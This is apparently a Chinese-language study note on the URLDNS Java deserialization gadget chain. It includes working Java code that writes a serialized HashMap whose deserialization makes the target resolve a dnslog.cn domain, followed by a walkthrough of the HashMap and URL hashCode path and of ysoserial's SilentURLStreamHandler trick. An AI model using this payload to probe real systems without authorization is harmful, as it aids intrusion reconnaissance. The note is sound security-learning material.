Java反序列化-URLDNS学习

  • 前言
  • 代码
  • 分析
  • ysoserial中的利用方式
  • 参考文章


前言

在复现漏洞的时候经常使用dnslog来进行测试,当然有一定的局限性,只能在机器出网的时候才可以使用,并且在一些不知道利用链的情况下 使用urldns的利用链来进行打dnslog效果比较好,因为其没有诸多的限制
文章中如果有错误欢迎各位师傅斧正

代码

这里的代码是直接粘贴天下大木头师傅的,后面做学习分析

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class urldns {
    public static void main(String[] args) throws Exception {
        HashMap map = new HashMap();
        URL url = new URL("http://jszzsn.dnslog.cn");
        Class clas = Class.forName("java.net.URL");
        Field field = clas.getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(url,123);
        map.put(url,"2333");
        field.set(url,-1);
        try {
            FileOutputStream outputStream = new FileOutputStream("2.ser");
            ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);
            outputStream1.writeObject(map);
            outputStream.close();
            outputStream1.close();
            FileInputStream inputStream = new FileInputStream("2.ser");
            ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
            objectInputStream.readObject();
            objectInputStream.close();
            inputStream.close();
        }catch (Exception e){
            e.printStackTrace();
        }
     }
}

分析

在上面这个代码中,漏洞触发是在

objectInputStream.readObject();

我们跟进分析一下

java项目怎么找url java urldns_java


在这里对于传入的key进行了hash运算

java项目怎么找url java urldns_java项目怎么找url_02


如果key不为空则调用hashcode方法

java项目怎么找url java urldns_java_03


如果hashcode不等于-1就返回

java项目怎么找url java urldns_java项目怎么找url_04


java项目怎么找url java urldns_java_05


可以看到在初始化的时候就为-1

跟入hashCode

java项目怎么找url java urldns_java_06


调用了getHostAddress解析域名,从而触发dnslog

这里是使用已经处理好的代码,在我们调试的时候发现,如果直接使用map.put()时也会产生dnslog

java项目怎么找url java urldns_反序列化_07


因为put方法会默认调用putval

参考


使用反射来修改值

Class clas = Class.forName("java.net.URL");
Field field = clas.getDeclaredField("hashCode");
field.setAccessible(true); // 变量为 private 修改访问权限
field.set(url,123);
map.put(url,"2333");
field.set(url,-1);

就可以绕过在生成payload时候产生的dnslog的脏数据

ysoserial中的利用方式

java项目怎么找url java urldns_.net_08

java项目怎么找url java urldns_反序列化_09


可以看到里面貌似没有使用反射的方法

这里需要注意一下这里使用了类SilentURLStreamHandler继承URLStreamHandler并且重写了方法

static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }

这样就不会触发dns请求

java项目怎么找url java urldns_.net_10

被transient修饰的变量无法被序列化,所以最终反序列化读取出来的transient依旧是其初始值,也就是URLStreamHandler。

之后使用Reflections.setFieldValue修改值,我们跟入看一下

java项目怎么找url java urldns_java_11


跟入getField

java项目怎么找url java urldns_java_12


可以看到这里也一样是使用反射的方法修改了hashCode的值为-1 保证可以成功触发dns请求

参考文章